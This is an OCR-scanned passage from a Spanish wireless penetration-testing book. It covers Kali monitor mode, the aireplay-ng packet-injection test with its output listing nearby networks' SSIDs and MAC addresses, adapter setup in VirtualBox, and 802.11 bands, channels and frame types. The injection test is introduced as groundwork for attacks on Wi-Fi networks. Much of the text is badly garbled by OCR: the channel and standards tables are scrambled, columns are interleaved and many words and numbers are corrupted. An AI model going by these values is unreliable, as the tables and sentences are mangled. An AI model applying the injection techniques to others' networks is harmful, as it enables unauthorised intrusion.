procesos pueden interferir con otras herramientas de la suite aircrack-ng. |
Para detener estos procesos, puede ejecutar el comando airmon-ng check kill. 3

Por ejemplo, si quiere detener la interfaz mon0, ejecute el siguiente comando:

airmon-ng stop mond

Lii~# airmon-ng sto
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. RTLE187

Ahora que la interfaz estd en modo monitor, puede proceder con el

escaneo inalambrico.

Prueba de inyeccién

Para realizar la prueba de inyeccién ejecute el siguiente comando:

aireplay-ng-9 wianBmon

Donde la opcidn -a significa que es una prueba de inyeccion (la forma completa

eS-—pru@bal

i:~# aireplay-ng -9 wilian@mon o
Trying broadcast probe FEqUERYJ:.
Injection is workingl

Found B APs

Trying directed probe reguests...

DB:FB:SE:EE:3E:3F -
Ping (min/avg/max):
29/30: 96%

CB:14:51:9A:0A:8C_ -
Ping (min/avg/max):
29/38: 96%

EB:41:36:5A:78:5A -
Ping (min/avg/max) :
29/3D: 96%

FC:5A:1D:08:CE:38 -
Ping (min/avg/max):
2B/36: 93%

FC:4A:E9:41:5D:CC -
Ping (min/avg/max):
28/38: 493%

FC:5A:1D:1B:38:F8 -
Ping (min/avg/max):
29/38: 96%

FC:S5A:1D:87:85:68 -
Ping (min/avg/max) :
14730 46%

channel: 11 - -"MIGUELITO'
2.752ms /23 °115msd43.381ms Power: -49.080

chidnnel: 9 - 'Axolofl®
4.380ms/12.554ms/58.511ms Power: -

channel: 8 - ‘KIWI®
4.56Bms/11.968Bms/23.306Ms Power: -

channel: 11 - "GCGUTIERREZ®
1.578ms/14.751ms/178,953ms Power:

channet: 11 - 'FINITA®
2.242ms/168.187Tms /26, 992ms Power: -

channel: 11 - 'GODDYSIERRA'
B.B98ms/14.653ms /57 .B81ms Power: -

channel: 11 - 'MOVISTAR 9568°
3.777ms/14.197ms/48.429ns Power: -

La herramienta aireplay-ng esté disefiada para generar e inyectar tramas y la va
a utilizar para llevar a cabo muchos de los atagques gue se explican en el libro.

Siaparece la cadena «jLa inyeccidn estd funcionando!» en la salida, entonces la
prueba es exitosa y su adaptador soporta la inyecciéon de paquetes.

R
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La prueba también proporciona otra informacién valiosa; indica el canal gue
utiliza la interfaz inalambrica y los AP que encontré mediante las tramas probe
response transmitidas o tramas beacon recibidas, y las cualidades de conexion
relativas (se trataran estos temas en el capitulo 5 «Reconocimiento de WLAND).

Puede encontrar mas informacién sobre la prueba de inyeccion en
http://www.aircrack-ng.org/doku.php?id=injection_test.

1 372 Solucién de problemas

Como ha visto, la distribucion Kali Linux soporta una amplia gama de adapta-
dores inalambricos y no deberia tener ningun problema en la configuracion de
su adaptador inalambrico.

Sin embargo, a veces su adaptador no se muestra en la salida de iwconfig. En este
caso, puede comprobar la salida de las herramientas Isusb o Ispci (dependiendo
del tipo de interfaz) para ver si el dispositivo ha sido detectado por el sistema
operativo v la salida de dmesg para comprobar si los controladores (drivers)
correspondientes se han cargado correctamente.

En otras ocasiones, es posible que el adaptador inalambrico sea reconocido, pero
el comando ifconfig wiane up NO pueda mostrar la interfaz y aparezca el mensaje
de error «SIOCGIFFLAGS: No such file or directory». Este error generalmente indica
que el controlador no puede cargar el firmware del adaptador porque falta o no

estd correctamente instalado.

Puede resolver este problema instalando el firmware correcto que podria ser
identificado en la documentacion del driver del adaptador.

Por ejemplo, para instalar el paquete de firmware para un adaptador de chipset
Ralink, ejecute el siguiente comando:

apt-get install firmware-ralink

Para obtener mas informacidn sobre solucién de problemas de configuracion de
adaptador inalambrico, consulte el anexo «Referenciasy.

_[Netal S N , BN

I, I Si aparece un error, en la apcion Sistema active la casilla de verific acion Habilitar PAE/

N
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o
a
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el
&

’;ﬁ Carpetas compartidas.

E Interfaz de usuario

1
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3.8 Laboratorio 2: Asighacion
del adaptador inalambrico en Kali

Si ha elegido usar un adaptador inaldambrico USB externo, necesitara que el dispo-
sitivo se transfiera a la maquina virtual Kali para que pueda usarlo. Esto se hace a
través del menu de VirtualBox navegando a Configuracion > USB v, luego, iden-
tificando el dispositivo USB que corresponde a su adaptador wifl.

paos et
‘ @ kAL 202 - Cenfiguracion 7 x
st ) S TURCP IS ORI X Pl T Ty = =

| B General usB

| ‘ T S A TR 7 ‘
| | sistems (5] Habsr comtroledor USE |
]

| @ i {3 Controtader LSS 1,1 (OHCT) i |
|

(@) Controtador USS 2.0 (EHCT)
(7) Cantrgladar USS 3.0 (xHCT)

[Be ause St ks A R P MBI KPS EETPRAT. %
| anufacmrer_ﬁemﬂjﬂm&[ L8187 Wireless (0F00] \ &
= 7 s
@ Puertos serie IMC Networks [0001]
‘9 Use v mmmﬂmﬁ RTLB1BT. Wirslass (8160]
Chiceny Electronics Coy, Ltd [9352] I

Genius USB Optical Mouse [0100]

e
Interfaz de ususrio

I
|
|
m Carpetas compartidas

| e

Ml e Rl RS e el

Esto simula la conexidn de! adaptador USB d[rectamente en el sistema operativo
y, de este modo, podré acceder a él directamente desde Kali utilizando la linea
de comando o las herramientas de interfaz grafica GUI.
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Para comenzar a validar que su adaptador inaldmbrico esta identificado correc-
tamente por Kaliy es compatible con todos los modos gue utilizara durante su
evaluacion, abra una ventana de terminal y ejecute los siguientes comandos:

lsusb

iwconfig

Deberfa poder ver la siguiente pantalla como resultado:

Tablet
foux Foundation 1.1 rest hub

nt: Mol -Associated  Tx-Power=38 dBm
% thegefi - Fragment thriaff

r Manngement ;o f

niti-a i

El uso de los dos comandos anteriores es el siguiente:

+ lsush: Enumera los dispositivos que estan conectados al bus USB. Aqui, deberia
poder identificar si su adaptador inalambrico es detectado por el sistema opera-
Hvo vy, si es asi, incluye una breve descripcion del dispositivo. Deberia poder
identificar el chipset que esté presente en el adaptador; en este ejemplo, esta
utilizando el chipset RTL8187.

iwconfig: Se usa para configurar y ver los parametros de las interfaces inalam-
bricas vistas por el sistema operativo. Aqui, puede subir y bajar las interfaces
y ver en qué modo esta funcionando la interfaz, Es importante tomar nota de
la interfaz virtual que estd asignada a este dispositivo, ya que se utilizara en
casi todos los ejercicios. Normalmente, esto es wlan0, pero también puede
ser wlan1, wlan2, etc., si dispone de més de un adaptador inaldmbrico en

el sistema.

2,
e
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El comando -w Se usa para mostrar o manipular dispositivos inalambricos y sus
configuraciones. La opcidn phy le dice al comando que seleccione la interfaz por
su direccion fisica. Esto es seguido por el identificador fisico del dispositivo, phye
en este ejemplo. El comando info al final le dice a +w que muestre todos los deta-
lles asociados con este adaptador inalambrico en particular.

El comando devuelve mucha informacion, por lo que es posible que deba despla-
zarse hacia atras en la lista para identificar qué modos de interfaz admite este
adaptador inaldambrico. Como minimo, deberfa ver managed y monitor que corres-
ponden a administrador y monitor, los dos modos gue se requeriran para ejecutar
todos los procedimientos gue seguiran.

Dependiendo de en qué parte del mundo se encuentre, es posible que encuentre
redes inalambricas que operan en diferentes frecuencias y en diferentes canales.
Es una buena idea validar que su adaptador inaldambrico sea capaz de explorar
todas estas frecuencias para que las redes inaldmbricas no se pierdan durante
su prueba de penetracion. Esto se puede lograr ejecutando el comando iwtist:

#iwlist canal wlan@

\ A continuacion, deberd verificar que todos los modos sean compatibles con el hard-
| ware v los controladores de su adaptador inalambrico. Esto se puede lograr usando -

el comando iw en Kali: |

jw phy phy@ 1info
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root@kali2008; ~

quency -information

al; available fregquencles :

no freguency informalion

E| comando iwlist proporciona informacion detallada sobre las capacidades del
adaptador inalambrico. Este comando le permite enumerar muchos detalles sobre
su dispositivo inaldmbrico, incluidas las capacidades de cifrado, la velocidad de
transmision, las claves en uso y los niveles de potencia. La opcion anterior, canales,
muestra los canales disponibles v las frecuencias disponibles para este adaptador
inalambrico. Este ejemplo muestra un adaptador de 2.4 GHz capaz de operar

en 14 canales.

HEPEINEE Resumen HTIREIISD

Este capftulo se enfocd en comprender salidamente los equipos de hardware que
necesita para implementar sus pruebas de pentesting.

En el siguiente capitulo se definiran los principales conceptos en los que se basan
las redes inalambricas de area local basadas en el estandar 802.11 que van a servir

para tener un mejor entendimiento de las aplicaciones de pentesting.

Capitulo 4

Fundamentos
de redes
inalambricas

Antes de sumergirse en |a parte practica, es conveniente recordar los conceptos
basicos del estandar 802.11 en que se basan las redes inalambricas de area local
(WLAN). Este capitulo incluye las siguientes secciones:

+ Redes inaldmbricas locales.

« La Wi-Fi Alliance.

+ Estandares inalambricos 802.11.

+ Bandas y canales de frecuencia de las redes WLAN.
« Tramas, tipos y subtipos de 802.11.

+ Modos de operacion.

+ Topologias de red inaldmbricas.

% Seguridad inaldmbrica.

@ . Redes inalambricas locales JD

Una red de 4rea local inalambrica, generalmente denominadas simplemente
WLAN, es aquella en la que una serie de dispositivos (PC, impresoras, servi-
dor_e§ y sus estaciones de trabajo, portatiles, etc.) se comunican entre si mediante
emisiones radioeléctricas que se propagan a través del aire, sin necesidad de
tendido del cable.
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Se distinguen distintas tecnologfas inalambricas en funcion del area de cobertura
de la red: de esta manera, la tecnologia WLAN es aquella con drea de cobertura
en un entorno local. Algunos ejemplos de areas de cobertura local o de area no
extensa son: oficinas, empresas ubicadas en un solo edificio, hoteles, aeropuertos,
universidades, colegios, etc.

Ademis, hay tecnologias que se clasifican en funcion de la frecuencia de las
ondas emitidas como:

« Infrarrojos:; comunicacion mediante luz infrarroja que es la que esta por debajo
del rojo y gue no somos capaces de ver. Se usa para mandos a distancia.

« Bluetooth: para distancias cortas.

+ WIifi: una red de area local (LAN) sin cables. Son las mas empleadas en un
rango de hasta 100 metros

+ Red mévil: o banda ancha mavil para estar siempre conectado mas alla de
esos 100 metros.

Este libro trata solo las tecnologias wifi para una cobertura local. Afortunadamente,
se puede beneficiar del importante trabajo realizado por las areas de ingenieria
eléctrica e ingenierfa de software, que reducen la complejidad de enviar magica-
mente paquetes a través del aire y a grandes velocidades hasta algo manejable
por los profesionales técnicos de diferentes carreras.

L a estandarizacién de las redes WLAN propiciaron un rapido desarrollo de las redes
WLAN en el mercado, lo que permite que los usuarios de estas redes disfruten de
las ventajas y se vean afectados por las desventajas que se muestra en la tabla 4.1.

Tabla 4.1 Ventajas y desventajas de WLAN

Ventajas Desventajas

+ Lainstalacian es rapida vy facil, y elimina + La seguridad es el principal problema y
los cables entre muros y techos. podria no cumplir con las expectativas.

+ Es mas facil proporcionar conectividad + A medida que crece el nimero de
en dreas donde es dificil colocar el cable. computadoras en la red, el ancho de

+ Elacceso a lared puede realizarse desde banda (bandwith) se ve afectado.
cualguier lugar dentro del rango del AP, La mejora de wifi puede requerir

+ Lugares publicos como aeropuertos, nuevas tarjetas inalambricas o AP.
bibliotecas, universidades o cafeterfas + Algunes equipos electronicos pueden
ofrecen conexién a Internet permanentes interferir con las redes wifi.
usando una LAN inaldmbrica. . La velocidad es menor que

en las redes cableadas.
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Como se menciona, las WLAN son faciles de implementar, e incluso los usuarios
domésticos pueden comprar un APy comenzar a trabajar en red con los disposi-
Hivos maviles disponibles (como, por ejemplo, portatiles, teléfonos inteligentes y
tabletas) con poca habilidad y en poco tiempe. Normalmente, solo es cuestion de
conectar el APy configurar correctamente sus dispositivos moéviles, y la WLAN
estara operativa en unos minutos.

En un entorno corporativo, las WLAN aplican muches de los mismos principios
que los de un usuario doméstico, aunque las consideraciones de complejidad y
seguridad aumentaran linealmente segln el tamafio de la implementacion, ya
que las empresas tienen muchos AP y muchas configuraciones para adminis-
trar. También tienen las mismas desventajas, siendo la principal el problema de
la seguridad.

Una aplicacion interesante es el Hostspot gue proporciona acceso a Internet en
lugares publicos como restaurantes, aeropuertos, bibliotecas, hoteles, hospitales,
cafeterias, librerias, tiendas, supermercados, parques, etc. Todo ello, gracias a la
tecnologia wifi.

B

G - - wi-Fi Aliance JINENNNND

El estandar 802.11 define un protocolo inaldmbrico de capa de enlace (nivel 2) y
€s administrado por el Instituto de Ingenieros Eléctricos y Electronicos (IEEE).
Muchas personas piensan en wifi cuando oyen 802.11, pero no son exactamente
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lo mismo. Wifi es un subconjunto del estandar 802.11, que es administrado por
la Wi-Fi Alliance. Debido a que el estandar 802.11 es tan complejo y el proceso
requerido para actualizar el estandar involucrado (es administrado por un comité),
casi todos los principales fabricantes de equipos inalémbricos decidieron que
necesitaban un grupo mas pequefio y agil dedicado a mantener la interoperabi-
lidad entre fabricantes mientras promovian la tecnologia a través de esfuerzos
de mercadeo. Esto resulté en la creacion de la Wi-Fi Alliance.

La Wi-Fi Alliance es una organizacion sin animo
de lucro compuesta por mas de 200 empresas
que testea y certifica equipos WLAN (c wifi) para
garantizar la interoperabilidad entre los fabricantes;
es decir, garantiza que todos los productos con un
logotipo certificado de wifi trabajen juntos para
un conjunto determinado de funciones. Esta insti-
tucion es fundamental para llevar lo que hoy se
conoce como wifi a los hogares y las empresas de
todo el mundo. Dispositivos tales como computa-
doras personales, consolas de videojuegos, teléfonos inteligentes, etc., usan wifi para
conectarse a recursos de red, tales como la Internet, via un AP de red inalambrica.

Estandar 802.11

De esta forma, si surge alguna ambigliedad con alguno de los estandares 802.11,
la Wi-Fi Alliance define lo que se debe hacer.

Los dispositivos y redes que utilizan el estandar 802.11 se conocen comun-
mente como dispositivos Wi-Fi™, una marca registrada de la Wi-Fi Alliance y se
etiquetan con el siguiente logo:

QWi G

CERTIFIED

_[Notal )

I Wifi se refiere a las reces locales inalambricas (WLAN) que se basa en el estandar [EEE
802.11.

En el sitio web de la Wi-Fi Alliance se encuentra informacion sobre los productos
certificados y qué funcionalidades ofrecen esos productos. A manera de
ejemplo, en la siguiente figura se muestra la busqueda del adaptador inalam-
brico TLWN722N.
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@ .:Estandaresinalambricos 802.11 1D

El estandar original 802.11 se aprobd en 1997. Posteriormente, hubo varias revi-
siones del estandar a través del tiempo gue definen las frecuencias, velocidades
de transmisién, ancho de banda y técnicas de difusion o modulacién de las comu-
nicaciones inaldmbricas. Las mas relevantes para los profesionales de seguridad
inalambrica, v en las que se enfocara este libro, son: 802.11a, 802.11b, 802.11g
y 801.11n. La tabla 4.2 enumera algunas de sus caracteristicas mas relevantes.

Tabla 4.2 Caracteristicas de los estandares inalambricos

. Frecuencia Velocidad . ‘.
Estandar (GHz) méx. (Mbps) Bandwith (MHz) Modulacién
s 5 5_4___ - 20 OFDM
802.11b |24 _ il 22 DSSS
802.11g (0 et el TR R0 QOFDM, DSSS
288.8 20

802.11 2

n 4(_)_5_"-_“ _600 o 4Q_ OFDM

En la tabla anterior, DSSS (Direct Sequence Spread Spectrum, por sus siglas en
Inglés) indica «Espectro ensanchado por secuencia directas, y OFDM (Orthogonal
Frequency-Division Multiple Access, por sus siglas en inglés), «Multiplexacién por
division de frecuencias ortogonales». Estas tecnologias se refieren a cémo la
radio asigna el ancho de banda para transmitir los datos por el aire. Nuevamente,
€l reconocimiento a los ingenieros de redes inaldmbricas por incorporar esta
complejidad en un estadndar para que no sea necesario saber exactamente cémo
funciona el envio y la recepcion de paquetes de manera inaldmbrica.
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El estandar 802.11a opera en el rango de frecuencia de 5 GHz mientras que
el 802.11b/g lo hace en el rango de frecuencia de 2.4 GHz, que es, de lgjos,
el mas utilizado por las redes wifi hoy en dia. En cambio, el esténdar 802.11n
soporta ambas bandas de frecuencia y es compatible con las otras especifica-
ciones 802.11.

El alcance de la sefal wifi depende del estandar usado, de la potencia del dispo-
sitivo que transmite y de la presencia de obstaculos fisicos e interferencias de
radio. Para dispositivos wifi comunes, normalmente varia desde un maximo de
20-25 metros en el interior hasta 100 metros o més al aire libre.

E| rendimiento maximo, es decir, la velocidad maxima para transmitir datos, del
estandar 802.11 varia desde los 11 Mbps del estandar 802.11b hasta los 600
Mbps del estandar 802.11n.

4.4 Bandas y canales de frecuencia
de las redes WLAN

Las redes WLAN funcionan en dos bandas de frecuencia:
Banda de 2.4 GHz.
Banda de 5 GHz.

En ninguna de las dos bandas se requiere licencia para su utilizacion. Ambas
bandas estan designadas para aplicaciones ISM (Industry, Science and Medical)
o, en espafiol, ICM (Industrial, Ciencia y Médica).

Cada banda de frecuencia se subdivide en multiples canales, que son subcon-
juntos que incluyen peguefios rangos de frecuencia. La banda de 2.4 GHz se
divide en 14 canales distintos, pero no todos ellos se utilizan siempre. La mayoria
de los paises permite solamente un subconjunto de estos canales, mientras que
algunos paises permiten todos los canales.

Por ejemplo, Estados Unidos permite los canales del 1 al 11, mientras que Japon
permite todos los 14 canales. De hecho, cada pais ha establecido su propio
dominio regulatorio (regdomain), un conjunto de reglas que define la asignacion
del espectro radiceléctrico para la transmision inalambrica. Los dominios regulato-
rios también definen los valores maximos permitidos de potencia de transmision.

A medida que se captan paquetes de forma inalambrica desde el aire, el concepto
de canales entrara en juego. El término canal se refiere a una frecuencia especifica
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dentro del espectro de frecuencia de 2.4 GHz o 5 GHz que las radios inalambricas
en el APy el cliente han negociado o se les ha dicho que deben usar para la comu-

nicacion de los datos entre ellas. Esto es similar al canal en su televisor, piense aquif

en un modelo analégico, donde la estacién transmite a una frecuencia especifica
y el televisor esta configurado para recibir esa frecuencia especifica al sintonizarla
en un canal especifico. Si ambos lados estan configurados para hablar en el mismo
canal, entonces la comunicacion entre los dos dispositivos puede continuar.

A continuacion, se detallan las caracteristicas de las dos bandas.

I44lBandade24GHz

La banda de 2.4 GHz se usa comUnmente para despliegues inalémbricos debido
a su alcance vy soporte para muchos protocolos wifi comunes, como 802.11b, g
y n. Normalmente lo encontrard utilizado exclusivamente en su red objetivo o
como coresidente con el espectro de 5 GHz en AP de modo dual.

La banda de 2.4 GHz para uso en redes WLAN consta del siguiente rango
de frecuencia:

2 4 GHZ 2 484 GHZ
La tabla 4.3 enumera los canales y las frecuencias asociadas con las que se encon-
trara cuando realice su prueba de penetracién inalambrica. Se utilizarén estos
numeros de canal en los capitulos siguientes a medida que configura sus capturas
y define los canales para sus AP virtuales.

Tabla 4.3 Canales usados en el espectro de 2.4 GHz

Canal Frecuencia (MHz) Canal Frecuencia (MHz)
_1 A 2412 8 2447

2 2417 o 9 N | 7772452 -
3 : 72422 N i --”10” Sl s 2457

4 I Rt T T

5 pagz - {50 T ST

6 o437 | 1 | a2

7 " Gig e g I
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El ancho de banda por canal en la banda de 2.4 GHz es de 22 MHz vy la separa-
cidn entre canales es de 5 MHz. En América del Norte, solo se utilizan los canales
1-11, mientras que, en la mayoria del mundo, se utilizan del 1 al 13. El canal 14
solo se usa en Japdn bajo el protocolo 802.11b. Estos mismos canales se aplican
si su interfaz inaldmbrica usa 802.11b, 802.11g 0 802.11n.

En el proximo capitulo, al analizar el escaneo inaldmbrico, se podra configurar
en qué canal se comunica el AP y el cliente utilizando la aplicacién airmon-ng.

i 442 Bandade 5 GHz

La banda de 5 GHz para uso en redes WLAN consta del siguiente rango
de frecuencia:

515 GHz-5.825 GHz
La banda de 5 GHz es masiva y varfa mucho en su implementacion dependiendo
de en qué parte del mundo esté operando. Fundamentalmente, oscila entre el
canal 36 a 5180 MHz v el canal 165 a 5825 MHz; sin embargo, algunas partes
del mundo usan frecuencias que van hasta 4915 MHz, y los canales van de 7
a3 196. Los canales y frecuencias mas comunes se representan la tabla 4.4. Sin
embargo, debe hacer referencia a los estandares que estan en uso en su pais
antes de realizar una evaluacién de seguridad inalambrica, ya que el rango podria
expandirse en su area.

Tabla 4.4 Canales usados en el espectro de 5 GHz

Frecuencia (MHz)
. _ 5560

w0 | 5200 [ i 16 7 5580

Mo |t Tgam: e - 139 5660 ;

48 | s240 | 18 | 5680

Canal Frecuencia (MHz) Canal
36 5180 112

56 5280 e p 974

RO e o Ba00 e Al Lt e
64 s0 | 1s7 | 5785
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Canal Frecuencia (MHz) Canal Frecuencia (MHz)
1(_)0 et T __5_?(_)0 161 5805

104 | 5520 | 165 5825

Z A 5540

Los mismos principios entran en juego cuando captura el trafico de las redes
802.11a u 802.11n gue se ejecutan a 5 GHz, como lo hacen a 2.4 GHz. Las
herramientas provistas por Kali le permitiran especificar la frecuencia con la gue
su adaptador inalambrico esta escuchando por el numero de canal asociado.
|dentificaré el canal por el que el cliente y el AP se comunican v, luego, configu-
rara su captura en consecuencia.
_INota .
I Sobre los canales Wi-Fi.
Para obtener mas informacian sobre dominios regulatorios v canales wifi, consulte el

recurso en Wikipedia en https://en.WTk\'pedia;gr_g[)yigj{ggt:‘ci_ﬂ\{\/_i:ﬁﬁl:cﬂh@“@;.

@ .- Tramas, tipos y subtipos de 802.11 e

En redes, una trama es una unidad de envio de datos. Segtin el modelo OS|, es el
equivalente del paquete de datos, descrito en el nivel de enlace de datos.
_[Nota|

Enesta seccion, vera las tramas inalambricas 802.11. Si esta familiarizadn con las tramas

Ethernet (LAN) 802.3 para redes cableadas, notard inmediatamente las diferencias al
compararlas con las tramas WLAN.

1451 Formato de una trama 802.11

El formato genérico de una trama 802.11 se compone de las siguientes
tres secciones:

¢ Encabezado MAC: Contiene cuatro campos:
Control de trama (Frame Control).
Duracion (Duration).
Direcciones (Address1 - Address4).

Control de secuencia (Sequence Control).
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+ Cuerpo de la trama (Payload): Est4 constituido por los datos Utiles, en este
caso, la MSDU proveniente de la subcapa LLC.

+ Frame Check Sequence (FCS): Verifica la integridad de la trama. Se agrega
para afiadir robustez; es decir, para gue se pueda verificar que la informacion
que se recibe al llegar al destino no esté corrupta.

Su formato se muestra en el siguiente diagrama:

Encabezado MAC 802.11
2bytes 2bytes ébytes ébytes 6bytes 2bytes 6bytes| 0a2312bytes 4 bytes
Control |Duracién|Direccién|Direccién|Direccién| Control de | Direccidn
detrama D 1 2 3 secuencia 4 Datosdered FG
Versiénde| Subtipo DS | desdeDs |MisFrag| Retry | PO | M& | \wep | Orden
protocolo Mgmt | Data
2 bits 2 bits 4Abits 1 bit 1bit 1 bit 1bit 1bit 1bit 1hbit 1hit

B 452 Clasificacion de las tramas |

El estandar 802.11 define varios tipos de tramas cada una de las cuales tiene un ‘
objeto especifico. Por ejemplo, existen tramas especiales para funciones como:
anunciar los puntos de acceso, asociar estaciones o autenticar clientes.

Cada trama contiene distintos campos de control, que incluyen aspectos como: el
tipo de trama, si WEP estd activo, si esta activo el ahorro de energia o la version
del protocolo 802.11. Una trama 802.11 también incluye las direcciones MAC
de origen v destino, un ndmero de secuencia, un campo de control y el campo

de datos.

El campo control de trama (frame control) se subdivide en varios campos, entre
los que destacan los campos Tipo y Subtipo. El estandar 802.11 define tres
tipos de tramas:

a. Tramas de gestion

Estas tramas coordinan la comunicacion entre los AP vy los clientes en una
LAN inalambrica. Son probablemente los mas interesantes para los atacantes
ya que controlan la administracion de la red.
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[Nota| Enunaredcahleada, un cian cliente pue onhectarse directamente ala red usando

, un cable de “Onects uns b Enuna red inalambrica, dado gue el
concepto de S Mo e @ establecer Un mecanismo para proporcionar al
cliente la misma funcionalid “hufar y desconectar», Con la ayuda ¢ s tramas
de gestion, la estacion cliente realiza una accion similar a la de conectar y desconectar
cables, pero aue es compatible con una conexion inalambrica,

Las tramas de gestion incluyen los siguientes subtipos:

+ Tramas beacon (baliza): Se utilizan para difundir la presencia y la configura-
cion basica de un AP a las estaciones clientes en su radio de cobertura. Las
estaciones pueden obtener lista de AP disponibles buscando tramas beacon
continuamente en todos canales 802.11. Las tramas beacon contienen la
informacion necesaria para identificar las caracteristicas de la red y poder
conectar con el AP deseado.

+ Tramas probe request: Estas son enviadas por los clientes para detectar
la presencia de AP o un especifico AP al cual conectarse.

+ Tramas probe response: Estas son enviadas por el AP en respuesta a las
tramas probe request, que contienen informacion sobre la red.

+ Tramas de solicitud de autenticacién: Estas son enviadas por los clientes
para empezar la fase previa de autenticacion para conectarse a un AP.

D
', [a autenticacion es el procesa de comprobar 13 identidad de un adaptador en la red
arlo o rechazarlo. El adaptador cliente inicla el praceso enviando al AR una
= autenticacion que contiene su identidad en el campo de datos

El didlogo que se establece con las tramas de autenticacién depende del
sistena de autenticacién que use el AP: si es abierto o con clave compartida.

» Cuando se trata de sistemas abiertos, el cliente solo envia la trama de
autenticacion y el AP responde con otra trama de autenticacion que
indica si acepta o rechaza la conexion.

» En el caso de la autenticacion de clave compartida, el AP tiene que
comprobar que la estacion tiene la clave correcta.

# Tramas de respuesta de autenticacion: Estas son enviadas por el AP para
aceptar o rechazar la autenticacion del cliente.

+ Tramas de solicitud de asociacién: Son utilizadas por el cliente para
asociarse con el AP.
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<o por el cual el AP re

(Nota| Lz asociacion es un pro
sociacion la inicia el clien
e un |D de asociacian para ident

wiado al AP un

|I ] estacion clients
asociacion y ¢
or el SSID de la red

memiaoria. Debe contene

+ Tramas de respuesta de asociacion: £
aceptar o rechazar la asociacion con el cliente.

Durante la fase de exploracion de

cipalmente las tramas beacon v las tramas
«Reconocimiento de WLAN
de gestion para atacar la red inalambrica obj
el AP ayudan a la estacion ¢

Una trama beacon contien
cuando se trata de descubrir la WL
el rango simplemente capturando el
beacon en él. Al escanear una re
capturar la mayor cantidad posib

2 trama de solicituc

SrvVa [EcuUrsos y Se sincroniza con ung

| de

ficar al cliente v le reserva

stas son enviadas por el AP para

las pruebas de penetracion, interesan prin-
probe request. En el capitulo 5
» vera como se pueden manipular estas tramas
etivo. Las tramas beacon desde

liente a descubrir y asociarse con el AP.

e el valor de SSID, que es de vital importancia
AN. Puede enumerar las redes WLAN en
trafico WLAN vy extrayendo las tramas
d inalambrica 802.11, nuestro objetivo es
le de tramas beacon. Las tramas beacon
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Tramas Clear-to-send (CTS): Las estaciones utilizan las tramas CTS para
responder a una trama RTS y dejar libre el canzal de transmisiones. Las
trama; CTS contienen un valor de tiempo durante el cual el resto dé las
estaciones dejan de transmitir el tiempo necesario para transmitir la trama

« Tra r;as de reconocimiento (ACK): Las tramas ACK tienen como objetivo
confirmar la correcta recepcién de una trama de datos. En caso de no llegar
la trama ACK, el emisor vuelve a enviar la trama de datos.

<. Tramas de datos

Contienen lcs datos transmitidos sobre la
| red, con paquetes de prot
capa superior encapsulados en las tramas 802.11. profocoios e

l&af trz;mas de'datos sqn'los verdaderos caballos de batalla para llevar los
atos de los (:I\'entes moviles al sistema de distribucion. Las tramas de datos
transportan la informacion de las capas superiores en el cuerpo de la trama

[Nota!

Mas \'rwfor"n'|'1aciaﬁr:| %mhl( F;HC lr'm- : SE P & enco ;
/ . sobre estas tre nas se puede encontrar en http:/ www. wi-fiplan
c?rn/tutor\als/a:‘hc\e.php/1447501/ Comprensidon-80211-Frame-Types.htm —

comprenden gran parte de la informacién sobre la red ohjetivo. Al observar
una trama beacon, puede extraer las siguientes propiedades: '

» EISSID.

El tipo de encriptacion.

1453 Direccionamiento en paquetes 802.11

A diferencia del Ethernet, la mayoria de los paquetes 802.11 tienen tres direcciones:

2

» Elcanal. recci
+ Una direccidon de origen (source).

» La direccion MAC. e
+ Una direccion de destino (destination).

» Lainformacion del fabricante. & U :
na ID de conjunto de servicios basicos (BSSID).

i Ca.mdpo BSSID identifica de forma Unica el AP vy su coleccion de estaciones 1
de(lji(; ES, i a mdgnudo es la misma direccion MAC que la interfaz inalambrica

. Las tres direcciones indican a los paguetes a d¢ ié 2 :
oo qus AP pasar pag a dénde van, quién los envid EI

b. Tramas de control

lar el flujo de trafico de datos en la red. Estas tramas son

Se utilizan para contro
ncionamiento del intercambio de trafico entre

necesarias para el correcto fu

1 las estaciones cliente sin interrupciones.
No t - .
odos los paquetes, sin embargo, tienen tres direcciones. Debido a que es

Los subtipos de las tramas de control son:
tan i ot
‘ » Tramas Request-to-send (RTS): Se utilizan para reducir las colisiones en &l rec{)'nmfggiﬂ:foglgllmlz'ar i Sabrgcarga del envio de cuadros de control (como .
: : - : v ‘ , el nimero de bits utilizados se manti ini |
]Easo d; ?05 EStaCjC‘OHEbS cltenteLasocLad§§ g LIJ'n T'SmOV‘AP' Eerto ?}:téf"rrgez también usa diferentes términos para describir las direcciirr:esal mllﬂlmo. El lEEE i
.U.era g draTgO SCO s da ets et C‘ende pliarhec: Palel  control. En lugar de una direccién de destino, los cuad de e
' 4 ' isic , . ! adros i
iniciar el didlogo de comienzo de transmisién de una tram direccion de receptor y, en lugar de una direccion de origen Eecr?gr:rl?lw:fj?ren o
; eccién

de transmisor.
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La siguiente ilustracion muestra un paquete de datos tipico obtenido en Wireshark:

~

captura-OL.cap e 60
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

AN @b R Qaesr s =S aaal

<Chrl-f> [~ ] j\ Expression..  +

No. Source Destination ; Protocol Lepgt X

F Tp-Link? le:{G:36  Broadcast 882,11 }
21,202699 samsungE_gd:37:e0 (.. 882,11 1 |
3 1.389184 SamsungE_35:86:bd Broadcast 802.11 g
41.548351 samsungE_8d:371e0 (.. 882.11 1
5 1.551941 samsungE_8d:37:e@ (.. 802.11 1 ]
& 2.95327672 . GameunaE RA:27:em [ 8A7 13 ~ T

5 Frame 1: 126 bytes on wire (96@ bits), 120 bytes captured (960 bits)
» TEEE 802.11 Beacon frame, Flags: ........
» IEEE 802.11 wireless LAN

. 80 b G0 08 Ff ff ff ff ff ff bO 4e 26 1e 6 36  ,....... ...N&..B
. b@ 4e 26 le 6 36 hD 07 a2 31 ce 5f 06 80 09 80  .N&..6.. .1._....
64 00 11 04 00 Oc 54 58 2d 4c 69 6e 6b 5F 46 36 d..... TP -Link_F6
33 36 01 08 82 B4 Bb 96 12 24 48 6¢c 03 01 6a 32 36,..... .$Hl...2
@4 Oc 18 30 60 05 B4 00 @1 6O OO 2a 01 84 dd 18 ...8 ... ... t...
90 50 2 82 01 01 60 G0 03 ad 00 00 27 ad 09 B0 .P...... s..'aes
42 43 Se 8@ 62 32 2f 00 Ob 65 1 @0 OA 12 7a dd  BCA.b2/. ......Z.
87 @0 Oc 43 00 00 @0 09 sl

Oy 7 canfuradil . Packere 1ADSA - Disnlavac: 16059 100.0%) - 1 oad time: 0:0.753__ Profile: Default

No se confunda con las direcciones Receptor (Receiver) y Transmisor (Transmitter) |

que muestra Wireshark. Todos los paquetes de datos 802.11 tienen tres direc-
ciones (destination, source y BSSID) y no cinco. Recientemente, Wireshark comenzo
